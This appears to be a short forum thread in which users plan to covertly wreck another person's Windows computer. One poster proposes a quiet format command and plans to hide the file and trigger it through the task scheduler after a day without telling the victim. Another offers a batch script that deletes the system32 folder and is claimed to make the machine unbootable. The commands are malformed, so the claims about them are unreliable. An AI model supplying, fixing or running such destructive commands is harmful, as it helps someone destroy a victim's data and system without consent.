[chanalku91]

I think this will work.

"
format B: /q /autotest

"

I am not going to tell him i will just hide the file in a deep folder and will start it with task schedule after 1 day. That is best.

is not there anyway to test it online

---

Are you sure it will not require any further click? Are you sure it will delete the partition running the windows?
As @rudra said, i think a file will not delete the partition running windows itself.

You only need to run this script and in a few seconds your computer will Error and can't boot

@echo off
DEL C:Windows/system32 -Y